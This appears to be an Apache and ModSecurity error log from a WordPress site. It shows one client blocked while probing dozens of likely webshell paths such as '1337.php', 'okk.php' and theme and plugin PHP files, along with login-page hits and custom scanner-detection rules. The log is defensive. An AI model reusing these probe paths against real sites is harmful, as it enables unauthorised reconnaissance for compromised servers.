[Thu Feb 05 16:54:17.641495 2026] [:error] [pid 31833:tid 31851] [client 20.122.171.170:40202] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aYRauRzypZt5yekRAkEu9QAAAZA"]
[Thu Feb 05 16:54:21.482725 2026] [:error] [pid 33122:tid 33128] [client 20.122.171.170:40251] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/uploads/index.php"] [unique_id "aYRavfW0IebAnFB9KDD9LQAAAEQ"]
[Thu Feb 05 16:54:22.211995 2026] [:error] [pid 33396:tid 33426] [client 20.122.171.170:7409] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aYRavvTgp_Ev6LiSSgCfjgAAANc"]
[Thu Feb 05 16:54:23.078310 2026] [:error] [pid 33396:tid 33406] [client 20.122.171.170:37864] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aYRav_Tgp_Ev6LiSSgCfjwAAAMM"]
[Thu Feb 05 16:54:24.201178 2026] [:error] [pid 31774:tid 31794] [client 20.122.171.170:37885] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aYRawKjDlLg1NOhSOXUBxQAAAJA"]
[Thu Feb 05 16:54:24.799939 2026] [:error] [pid 33122:tid 33133] [client 20.122.171.170:51002] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/inputs.php"] [unique_id "aYRawPW0IebAnFB9KDD9LgAAAEk"]
[Thu Feb 05 16:54:25.608486 2026] [:error] [pid 33396:tid 33424] [client 20.122.171.170:40246] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/.trash7309/fafa/"] [unique_id "aYRawfTgp_Ev6LiSSgCflAAAANU"]
[Thu Feb 05 16:54:30.984936 2026] [autoindex:error] [pid 33122:tid 33134] [client 20.122.171.170:42853] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 05 16:54:44.315211 2026] [:error] [pid 33122:tid 33132] [client 20.122.171.170:51006] [client 20.122.171.170] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 20.122.171.170, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aYRa1PW0IebAnFB9KDD9UgAAAEg"]
[Thu Feb 05 16:55:03.681826 2026] [:error] [pid 33396:tid 33412] [client 20.122.171.170:7913] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hey.php"] [unique_id "aYRa5_Tgp_Ev6LiSSgCf3QAAAMk"]
[Thu Feb 05 16:55:04.658918 2026] [:error] [pid 33396:tid 33419] [client 20.122.171.170:7584] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hey.php"] [unique_id "aYRa6PTgp_Ev6LiSSgCf3gAAANA"]
[Thu Feb 05 16:55:12.601055 2026] [:error] [pid 33122:tid 33143] [client 20.122.171.170:48495] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hey.php"] [unique_id "aYRa8PW0IebAnFB9KDD9dAAAAFM"]
[Thu Feb 05 16:55:14.671759 2026] [:error] [pid 33122:tid 33133] [client 20.122.171.170:51009] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/hey.php"] [unique_id "aYRa8vW0IebAnFB9KDD9fAAAAEk"]
[Thu Feb 05 16:55:16.744267 2026] [:error] [pid 14577:tid 14585] [client 20.122.171.170:49595] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYRa9JZbKwRdMc_HlgJNPwAAAUY"]
[Thu Feb 05 16:55:18.210848 2026] [:error] [pid 14577:tid 14580] [client 20.122.171.170:7331] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYRa9pZbKwRdMc_HlgJNQQAAAUE"]
[Thu Feb 05 16:55:21.596111 2026] [:error] [pid 14577:tid 14581] [client 20.122.171.170:7190] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYRa-ZZbKwRdMc_HlgJNQgAAAUI"]
[Thu Feb 05 16:55:23.897005 2026] [:error] [pid 31775:tid 31806] [client 20.122.171.170:49547] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/seotheme/mar.php"] [unique_id "aYRa-xNlTj92HTKsJN3e6gAAAQE"]
[Thu Feb 05 16:55:25.975812 2026] [:error] [pid 31775:tid 31828] [client 20.122.171.170:7214] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1337.php"] [unique_id "aYRa_RNlTj92HTKsJN3e7gAAARc"]
[Thu Feb 05 16:55:26.897058 2026] [:error] [pid 33122:tid 33143] [client 20.122.171.170:7174] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1337.php"] [unique_id "aYRa_vW0IebAnFB9KDD9hwAAAFM"]
[Thu Feb 05 16:55:29.043588 2026] [:error] [pid 33122:tid 33139] [client 20.122.171.170:49659] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1337.php"] [unique_id "aYRbAfW0IebAnFB9KDD9iAAAAE8"]
[Thu Feb 05 16:55:30.766370 2026] [:error] [pid 33396:tid 33406] [client 20.122.171.170:49611] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/1337.php"] [unique_id "aYRbAvTgp_Ev6LiSSgCf5gAAAMM"]
[Thu Feb 05 16:55:31.865378 2026] [:error] [pid 14577:tid 14586] [client 20.122.171.170:54472] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aYRbA5ZbKwRdMc_HlgJNTgAAAUc"]
[Thu Feb 05 16:55:34.771704 2026] [:error] [pid 14577:tid 14584] [client 20.122.171.170:49621] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aYRbBpZbKwRdMc_HlgJNVwAAAUU"]
[Thu Feb 05 16:55:35.639678 2026] [:error] [pid 31774:tid 31787] [client 20.122.171.170:54967] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aYRbB6jDlLg1NOhSOXUCEAAAAIk"]
[Thu Feb 05 16:55:40.613893 2026] [:error] [pid 31775:tid 31807] [client 20.122.171.170:50369] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/buy.php"] [unique_id "aYRbDBNlTj92HTKsJN3e8gAAAQI"]
[Thu Feb 05 16:55:41.358861 2026] [:error] [pid 31774:tid 31783] [client 20.122.171.170:7177] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apsarasarts/okk.php"] [unique_id "aYRbDajDlLg1NOhSOXUCFAAAAIU"]
[Thu Feb 05 16:55:42.800408 2026] [:error] [pid 31774:tid 31780] [client 20.122.171.170:41357] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apsarasarts/okk.php"] [unique_id "aYRbDqjDlLg1NOhSOXUCFwAAAII"]
[Thu Feb 05 16:55:44.668195 2026] [:error] [pid 31775:tid 31821] [client 20.122.171.170:7439] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apsarasarts/okk.php"] [unique_id "aYRbEBNlTj92HTKsJN3e8wAAARA"]
[Thu Feb 05 16:55:45.743498 2026] [:error] [pid 33122:tid 33146] [client 20.122.171.170:41399] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/apsarasarts/okk.php"] [unique_id "aYRbEfW0IebAnFB9KDD9jQAAAFY"]
[Thu Feb 05 16:55:47.051587 2026] [:error] [pid 31774:tid 31789] [client 20.122.171.170:7817] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aYRbE6jDlLg1NOhSOXUCGAAAAIs"]
[Thu Feb 05 16:55:48.818188 2026] [:error] [pid 31833:tid 31844] [client 20.122.171.170:51857] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aYRbFBzypZt5yekRAkEvTwAAAYk"]
[Thu Feb 05 16:55:50.786254 2026] [:error] [pid 31775:tid 31812] [client 20.122.171.170:41382] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aYRbFhNlTj92HTKsJN3e-AAAAQc"]
[Thu Feb 05 16:55:59.533471 2026] [:error] [pid 33396:tid 33426] [client 20.122.171.170:41355] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/m.php"] [unique_id "aYRbH_Tgp_Ev6LiSSgCgAAAAANc"]
[Thu Feb 05 16:56:01.320034 2026] [:error] [pid 31774:tid 31783] [client 20.122.171.170:49111] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-is.php"] [unique_id "aYRbIajDlLg1NOhSOXUCHgAAAIU"]
[Thu Feb 05 16:56:25.287977 2026] [:error] [pid 31774:tid 31785] [client 20.122.171.170:7451] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aYRbOajDlLg1NOhSOXUCMwAAAIc"]
[Thu Feb 05 16:56:25.900519 2026] [:error] [pid 31833:tid 31843] [client 20.122.171.170:52043] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aYRbORzypZt5yekRAkEvXQAAAYg"]
[Thu Feb 05 16:56:26.752451 2026] [:error] [pid 31775:tid 31815] [client 20.122.171.170:52093] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aYRbOhNlTj92HTKsJN3fBwAAAQo"]
[Thu Feb 05 16:56:27.930402 2026] [:error] [pid 31833:tid 31836] [client 20.122.171.170:46000] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cache.php"] [unique_id "aYRbOxzypZt5yekRAkEvYAAAAYE"]
[Thu Feb 05 16:56:30.210527 2026] [:error] [pid 31739:tid 31747] [client 20.122.171.170:45356] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "aYRbPgGrHl_5BvMstJKviQAAAAY"]
[Thu Feb 05 16:56:31.728713 2026] [:error] [pid 14577:tid 14585] [client 20.122.171.170:45999] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "aYRbP5ZbKwRdMc_HlgJNjgAAAUY"]
[Thu Feb 05 16:56:32.806687 2026] [:error] [pid 33396:tid 33416] [client 20.122.171.170:45978] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "aYRbQPTgp_Ev6LiSSgCgFQAAAM0"]
[Thu Feb 05 16:56:33.923750 2026] [:error] [pid 31775:tid 31823] [client 20.122.171.170:46026] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ss.php"] [unique_id "aYRbQRNlTj92HTKsJN3fDwAAARI"]
[Thu Feb 05 16:56:34.829650 2026] [:error] [pid 31739:tid 31762] [client 20.122.171.170:46006] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aYRbQgGrHl_5BvMstJKvjQAAABU"]
[Thu Feb 05 16:56:36.832367 2026] [:error] [pid 14577:tid 14588] [client 20.122.171.170:7767] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/p.php"] [unique_id "aYRbRJZbKwRdMc_HlgJNmAAAAUk"]
[Thu Feb 05 16:57:02.761518 2026] [:error] [pid 33396:tid 33426] [client 20.122.171.170:44693] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/achdxhv/languages/admin.php"] [unique_id "aYRbXvTgp_Ev6LiSSgCgTQAAANc"]
[Thu Feb 05 16:57:05.181762 2026] [:error] [pid 33122:tid 33145] [client 20.122.171.170:43726] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/achdxhv/languages/admin.php"] [unique_id "aYRbYfW0IebAnFB9KDD9sAAAAFU"]
[Thu Feb 05 16:57:07.269768 2026] [:error] [pid 31775:tid 31810] [client 20.122.171.170:37138] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/achdxhv/languages/admin.php"] [unique_id "aYRbYxNlTj92HTKsJN3fJwAAAQU"]
[Thu Feb 05 16:57:08.439721 2026] [:error] [pid 14577:tid 14584] [client 20.122.171.170:44277] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/achdxhv/languages/admin.php"] [unique_id "aYRbZJZbKwRdMc_HlgJN5gAAAUU"]
[Thu Feb 05 16:57:09.957831 2026] [:error] [pid 31833:tid 31843] [client 20.122.171.170:43653] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/user.php"] [unique_id "aYRbZRzypZt5yekRAkEvoAAAAYg"]
[Thu Feb 05 16:57:11.724207 2026] [:error] [pid 31775:tid 31820] [client 20.122.171.170:40265] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/user.php"] [unique_id "aYRbZxNlTj92HTKsJN3fKAAAAQ8"]
[Thu Feb 05 16:57:25.925787 2026] [autoindex:error] [pid 31833:tid 31855] [client 20.122.171.170:44278] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/block-patterns/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 05 16:57:38.171694 2026] [autoindex:error] [pid 31833:tid 31858] [client 20.122.171.170:44278] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-admin/maint/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Thu Feb 05 16:57:51.245966 2026] [:error] [pid 31833:tid 31842] [client 20.122.171.170:44278] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/hideo/network.php"] [unique_id "aYRbjxzypZt5yekRAkEvxwAAAYc"]
[Thu Feb 05 16:57:52.624651 2026] [:error] [pid 33122:tid 33132] [client 20.122.171.170:40300] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/hideo/network.php"] [unique_id "aYRbkPW0IebAnFB9KDD91gAAAEg"]
[Thu Feb 05 16:57:53.918184 2026] [:error] [pid 33396:tid 33421] [client 20.122.171.170:43722] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/hideo/network.php"] [unique_id "aYRbkfTgp_Ev6LiSSgCgkQAAANI"]
[Thu Feb 05 16:57:58.842877 2026] [:error] [pid 14577:tid 14587] [client 20.122.171.170:49073] [client 20.122.171.170] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-content/themes/hideo/network.php"] [unique_id "aYRblpZbKwRdMc_HlgJOUAAAAUg"]
